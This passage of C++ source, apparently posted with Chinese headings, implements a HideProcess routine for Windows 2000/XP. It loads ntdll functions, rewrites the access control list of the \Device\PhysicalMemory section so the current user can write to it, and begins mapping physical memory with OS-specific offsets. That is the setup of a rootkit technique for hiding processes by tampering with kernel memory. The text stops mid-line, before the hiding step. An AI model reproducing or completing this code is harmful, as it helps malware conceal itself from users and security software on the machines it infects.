头文件：

//////////////////////////////////////
//HideProcess.h
BOOL HideProcess();

CPP源文件：
/////////////////////////////////////////////////////////////////////////////
//HideProcess.cpp
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#include"HideProcess.h"

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT                0x00000002L
#define OBJ_PERMANENT            0x00000010L
#define OBJ_EXCLUSIVE            0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF                0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE        0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
    );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary("ntdll.dll");

    if (NULL == g_hNtDLL)
        return FALSE;

    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");
    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
    if(NULL != g_hNtDLL)
        FreeLibrary(g_hNtDLL);

    g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    PACL pDacl                    = NULL;
    PSECURITY_DESCRIPTOR pSD    = NULL;
    PACL pNewDacl = NULL;
   
    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

    EXPLICIT_ACCESS ea;
    RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";

    dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }
    dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
    NTSTATUS status;
    UNICODE_STRING physmemString;
    OBJECT_ATTRIBUTES attributes;
    ULONG PhyDirectory;

    g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&g_osvi);

    if (5 != g_osvi.dwMajorVersion)
        return NULL;

    switch(g_osvi.dwMinorVersion)
    {
        case 0:
            PhyDirectory = 0x30000;
            break; //2k
        case 1:
            PhyDirectory = 0x39000;
            break; //xp
        default:
            return NULL;
    }

    RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

    attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory            = NULL;
    attributes.ObjectName                = &physmemString;
    attributes.Attributes                = 0;
    attribu

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